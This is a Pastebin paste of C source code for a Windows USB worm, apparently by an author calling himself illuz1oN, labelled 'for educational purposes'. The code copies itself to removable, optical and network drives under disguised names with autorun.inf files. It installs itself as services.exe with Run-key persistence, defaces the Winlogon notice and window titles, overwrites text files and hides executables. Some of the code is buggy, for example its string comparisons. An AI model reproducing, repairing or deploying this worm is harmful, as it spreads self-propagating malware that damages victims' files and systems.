Advertisement
FlyFar

illuz1oN's Small Worm - Source Codes

Jul 4th, 2023
718
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 8.79 KB | Cybersecurity | 0 0
  1. // This is for Educational Purposes only
  2.  
  3. // This source code was written by illuz1oN to explain how to malware infect mass storage devices
  4.  
  5. // i hope this source code helps you! and thanks a lot for illuz1oN with a brilliant  mind
  6.  
  7.  
  8.  
  9. #include <windows.h>
  10.  
  11.  
  12.  
  13. #include <stdio.h>
  14.  
  15.  
  16.  
  17. #define IMSG "|__[__]__/=+-\\ SaveItForLater :] USB <span class="searchlite">Worm</span> /-+=\\__[__]__|"
  18.  
  19.  
  20.  
  21. //Remember this part!  We'll see it later
  22.  
  23.  
  24.  
  25. char me[1024];
  26.  
  27.  
  28.  
  29. HKEY hKey;
  30.  
  31.  
  32.  
  33. char *drives[] = {"C:","D:","E","F:","G:","H:","I:","J:","K:","L:",
  34.  
  35.  
  36.  
  37.                   "M:","N:","O:","P:","Q:","R:","S:","T:","U:","V:",
  38.  
  39.  
  40.  
  41.                   "W:","X:","Y:","Z:"};
  42.  
  43.  
  44.  
  45. //C-Z drive letters for Windows partitions
  46.  
  47.  
  48.  
  49. DWORD WINAPI spreadUSB()
  50.  
  51.  
  52.  
  53. {
  54.  
  55.  
  56.  
  57.     while(1)
  58.  
  59.  
  60.  
  61.     {
  62.  
  63.  
  64.  
  65.         Sleep(120000);
  66.  
  67.  
  68.  
  69.         int i;
  70.  
  71.  
  72.  
  73. //scan through drive letters
  74.  
  75.  
  76.  
  77.         for(i = 0;i < 24;i++)
  78.  
  79.  
  80.  
  81.         {
  82.  
  83.  
  84.  
  85.             if((GetDriveType(drives[i])) == DRIVE_REMOVABLE)
  86.  
  87.  
  88.  
  89. //DRIVE_REMOVABLE is usb, floppy, anything that's considered removable media by Microsoft
  90.  
  91.  
  92.  
  93.             {
  94.  
  95.  
  96.  
  97.                 char hldPath[50];
  98.  
  99.  
  100.  
  101.                 char usbFile[30] = "\\Driver_Update.exe";
  102.  
  103.  
  104.  
  105.                 char autoRun[50] = "[autorun]\r\nopen=Driver_Update.exe";
  106.  
  107.  
  108.  
  109.                 strcpy(hldPath,drives[i]);
  110.  
  111.  
  112.  
  113.                 strcat(hldPath,"\\autorun.inf");
  114.  
  115.  
  116.  
  117.                 FILE *fp = fopen("autorun.inf","w");
  118.  
  119.  
  120.  
  121.                 fprintf(fp,autoRun);
  122.  
  123.  
  124.  
  125.                 fclose(fp);
  126.  
  127.  
  128.  
  129.                 CopyFile("autorun.inf",hldPath,0);
  130.  
  131.  
  132.  
  133.                 remove("autorun.inf");
  134.  
  135.  
  136.  
  137.                 strcat(drives[i],usbFile);
  138.  
  139.  
  140.  
  141.                 CopyFile(me,drives[i],0);
  142.  
  143.  
  144.  
  145. //create an autorun.inf file with this code as "Driver_Update.exe" and place it as a value for autorun, which would attempt to infect other computers automatically when it's inserted.
  146.  
  147.  
  148.  
  149.             }
  150.  
  151.  
  152.  
  153.             else if((GetDriveType(drives[i])) == DRIVE_CDROM)
  154.  
  155.  
  156.  
  157.             {
  158.  
  159.  
  160.  
  161.                 char cdPath[50];
  162.  
  163.  
  164.  
  165.                 char cdFile[20] = "\\<span class="searchlite">Worm</span>_Pwn.exe";
  166.  
  167.  
  168.  
  169.                 char cdAutr[50] = "[autorun]\r\nopen=<span class="searchlite">Worm</span>_Pwn.exe";
  170.  
  171.  
  172.  
  173.                 strcpy(cdPath,drives[i]);
  174.  
  175.  
  176.  
  177.                 strcat(cdPath,"\\autorun.inf");
  178.  
  179.  
  180.  
  181.                 FILE *fpp = fopen("autorun.inf","w");
  182.  
  183.  
  184.  
  185.                 fprintf(fpp,cdAutr);
  186.  
  187.  
  188.  
  189.                 fclose(fpp);
  190.  
  191.  
  192.  
  193.                 CopyFile("autorun.inf",cdPath,1);
  194.  
  195.  
  196.  
  197.                 remove("autorun.inf");
  198.  
  199.  
  200.  
  201.                 strcat(drives[i],cdFile);
  202.  
  203.  
  204.  
  205.                 CopyFile(me,drives[i],0);
  206.  
  207.  
  208.  
  209. //same as above except with cd-rom.  Name changes, possibly because this method automatically executes no matter what, instead of user intervention like autorun.inf (depending on OS).  So no reason to SE the person.
  210.  
  211.  
  212.  
  213.             }
  214.  
  215.  
  216.  
  217.             else if((GetDriveType(drives[i])) == DRIVE_REMOTE)
  218.  
  219.  
  220.  
  221.             {
  222.  
  223.  
  224.  
  225.                 char remName[20] = "\\Upd_Config.exe";
  226.  
  227.  
  228.  
  229.                 strcat(drives[i],remName);
  230.  
  231.  
  232.  
  233.                 CopyFile(me,drives[i],0);
  234.  
  235.  
  236.  
  237. //infect remote network drives and save as "Upd_Config.exe".  Again, name change for SE.
  238.  
  239.  
  240.  
  241.             }
  242.  
  243.  
  244.  
  245.         }
  246.  
  247.  
  248.  
  249.     }
  250.  
  251.  
  252.  
  253. }
  254.  
  255.  
  256.  
  257. BOOL Startup()
  258.  
  259.  
  260.  
  261. {
  262.  
  263.  
  264.  
  265.     char dropTo[1024];
  266.  
  267.  
  268.  
  269.     GetWindowsDirectory(dropTo,1024);
  270.  
  271.  
  272.  
  273.     strcat(dropTo,"\\services.exe");
  274.  
  275.  
  276.  
  277. //drop (copy) --v-- file to \WINDOWS\ directory as file name services.exe
  278.  
  279.  
  280.  
  281.     if((CopyFile(me,dropTo,1)) == 0)
  282.  
  283.  
  284.  
  285.         return 0;
  286.  
  287.  
  288.  
  289.     else
  290.  
  291.  
  292.  
  293.     {
  294.  
  295.  
  296.  
  297.         if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey) == ERROR_SUCCESS)
  298.  
  299.  
  300.  
  301. //if no error in dropping file, add file to Run on startup registry key
  302.  
  303.  
  304.  
  305.         {
  306.  
  307.  
  308.  
  309.             RegSetValueEx(hKey,"services",0,REG_SZ,(const unsigned char*)dropTo,strlen(dropTo));
  310.  
  311.  
  312.  
  313.             RegCloseKey(hKey);
  314.  
  315.  
  316.  
  317.         }
  318.  
  319.  
  320.  
  321.         return 1;
  322.  
  323.  
  324.  
  325.     }
  326.  
  327.  
  328.  
  329. }
  330.  
  331.  
  332.  
  333. DWORD WINAPI changeTitle(LPVOID lParam)
  334.  
  335.  
  336.  
  337. {
  338.  
  339.  
  340.  
  341.     while(1)
  342.  
  343.  
  344.  
  345.     {
  346.  
  347.  
  348.  
  349.         HWND hWnd = GetForegroundWindow();
  350.  
  351.  
  352.  
  353.         SetWindowText(hWnd,"|__[__]__/=+-\\ SaveItForLater :] <span class="searchlite">Worm</span> - illuz1oN /-+=\\__[__]__|");
  354.  
  355.  
  356.  
  357. //change Window title as this ---^---
  358.  
  359.  
  360.  
  361.     }
  362.  
  363.  
  364.  
  365. }
  366.  
  367.  
  368.  
  369. void winLogin(void)
  370.  
  371.  
  372.  
  373. {
  374.  
  375.  
  376.  
  377.     HKEY hKey;
  378.  
  379.  
  380.  
  381.     char szCaption[] = "          |__[__]__/=+-\\ illuz1oN /-+=\\__[__]__|";
  382.  
  383.  
  384.  
  385.     char szText[] = "             |__[__]__/=+-\\ SaveItForLater :] <span class="searchlite">Worm</span> By illuz1oN /-+=\\__[__]__|"
  386.  
  387.  
  388.  
  389.                     "\nIf you want to remove this <span class="searchlite">worm</span>, contact illuz1oN - "
  390.  
  391.  
  392.  
  393.                     "\n... AV Companies ~censored~ You ...";
  394.  
  395.  
  396.  
  397.     RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",0,KEY_SET_VALUE,&hKey);
  398.  
  399.  
  400.  
  401.     RegSetValueEx(hKey,"LegalNoticeCaption",0,REG_SZ,(const unsigned char*)szCaption,sizeof(szCaption));
  402.  
  403.  
  404.  
  405.     RegCloseKey(hKey);
  406.  
  407.  
  408.  
  409.     RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",0,KEY_SET_VALUE,&hKey);
  410.  
  411.  
  412.  
  413.     RegSetValueEx(hKey,"LegalNoticeText",0,REG_SZ,(const unsigned char*)szText,sizeof(szText));
  414.  
  415.  
  416.  
  417. //create key name "LegalNoticeCaption" in the above registry hives.  Rather humerous if you ask me.
  418.  
  419.  
  420.  
  421.     RegCloseKey(hKey);
  422.  
  423.  
  424.  
  425. }
  426.  
  427.  
  428.  
  429. int WINAPI WinMain (HINSTANCE hinst,HINSTANCE prhin,LPSTR argsx,int in)
  430.  
  431.  
  432.  
  433. {
  434.  
  435.  
  436.  
  437.     GetModuleFileName(0,me,1024);
  438.  
  439.  
  440.  
  441.     CreateMutex(0,0,"-+- illuz1oN -+-");
  442.  
  443.  
  444.  
  445.     if(GetLastError() == ERROR_ALREADY_EXISTS)
  446.  
  447.  
  448.  
  449.     {
  450.  
  451.  
  452.  
  453.         ExitProcess(0);
  454.  
  455.  
  456.  
  457.     }
  458.  
  459.  
  460.  
  461.     else
  462.  
  463.  
  464.  
  465.     {
  466.  
  467.  
  468.  
  469.         if((Startup()) == 0)
  470.  
  471.  
  472.  
  473. //if the drop (copy) did not work, execute this
  474.  
  475.  
  476.  
  477.         {
  478.  
  479.  
  480.  
  481.          char szMask[4] = "*.*";
  482.  
  483.  
  484.  
  485.          DWORD ret = 0;
  486.  
  487.  
  488.  
  489.          WIN32_FIND_DATA fData;
  490.  
  491.  
  492.  
  493.          HANDLE hFind,hFile;
  494.  
  495.  
  496.  
  497.          hFind = FindFirstFile(szMask,&fData);
  498.  
  499.  
  500.  
  501.          if(fData.cFileName == "*.txt")
  502.  
  503.  
  504.  
  505. //if file = .txt extension, continue
  506.  
  507.  
  508.  
  509.          {
  510.  
  511.  
  512.  
  513.             hFile = CreateFile(fData.cFileName,GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
  514.  
  515.  
  516.  
  517.             if(hFile == INVALID_HANDLE_VALUE)
  518.  
  519.  
  520.  
  521.                ExitProcess(0);
  522.  
  523.  
  524.  
  525.             else
  526.  
  527.  
  528.  
  529.             {
  530.  
  531.  
  532.  
  533.                WriteFile(hFile,IMSG,sizeof(IMSG),&ret,0);
  534.  
  535.  
  536.  
  537.                CloseHandle(hFile);
  538.  
  539.  
  540.  
  541. //write the IMSG, remember that thing at the top?  yeah....
  542.  
  543.  
  544.  
  545.             }
  546.  
  547.  
  548.  
  549.          }
  550.  
  551.  
  552.  
  553.          else if(fData.cFileName == "*.exe")
  554.  
  555.  
  556.  
  557. //if .exe, set as system and hidden to not display in explorer by default.
  558.  
  559.  
  560.  
  561.          {
  562.  
  563.  
  564.  
  565.             SetFileAttributes(fData.cFileName,FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);
  566.  
  567.  
  568.  
  569.             CloseHandle(hFile);
  570.  
  571.  
  572.  
  573.          }          
  574.  
  575.  
  576.  
  577.          while (FindNextFile(hFind,&fData))
  578.  
  579.  
  580.  
  581. //continue searching for files with these extensions
  582.  
  583.  
  584.  
  585.          {
  586.  
  587.  
  588.  
  589.             if(fData.cFileName == "*.txt")
  590.  
  591.  
  592.  
  593.             {
  594.  
  595.  
  596.  
  597.                hFile = CreateFile(fData.cFileName,GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
  598.  
  599.  
  600.  
  601.                if(hFile == INVALID_HANDLE_VALUE)
  602.  
  603.  
  604.  
  605.                   ExitProcess(0);
  606.  
  607.  
  608.  
  609.                else
  610.  
  611.  
  612.  
  613.                {
  614.  
  615.  
  616.  
  617.                   WriteFile(hFile,IMSG,sizeof(IMSG),&ret,0);
  618.  
  619.  
  620.  
  621.                   CloseHandle(hFile);
  622.  
  623.  
  624.  
  625.                }
  626.  
  627.  
  628.  
  629.             }        
  630.  
  631.  
  632.  
  633.             else if(fData.cFileName == "*.exe")
  634.  
  635.  
  636.  
  637.             {
  638.  
  639.  
  640.  
  641.                SetFileAttributes(fData.cFileName,FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);
  642.  
  643.  
  644.  
  645.                CloseHandle(hFile);
  646.  
  647.  
  648.  
  649.             }              
  650.  
  651.  
  652.  
  653.          }          
  654.  
  655.  
  656.  
  657.          FindClose(hFind);
  658.  
  659.  
  660.  
  661.         }
  662.  
  663.  
  664.  
  665.         else
  666.  
  667.  
  668.  
  669.         {
  670.  
  671.  
  672.  
  673.             winLogin();
  674.  
  675.  
  676.  
  677.             unsigned long title;
  678.  
  679.  
  680.  
  681.             CreateThread(0,0,changeTitle,0,0,&title);
  682.  
  683.  
  684.  
  685.             unsigned long virii;
  686.  
  687.  
  688.  
  689.             CreateThread(0,0,spreadUSB,0,0,&virii);
  690.  
  691.  
  692.  
  693.             Sleep(INFINITE);
  694.  
  695.  
  696.  
  697.         }
  698.  
  699.  
  700.  
  701.     }
  702.  
  703.  
  704.  
  705. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement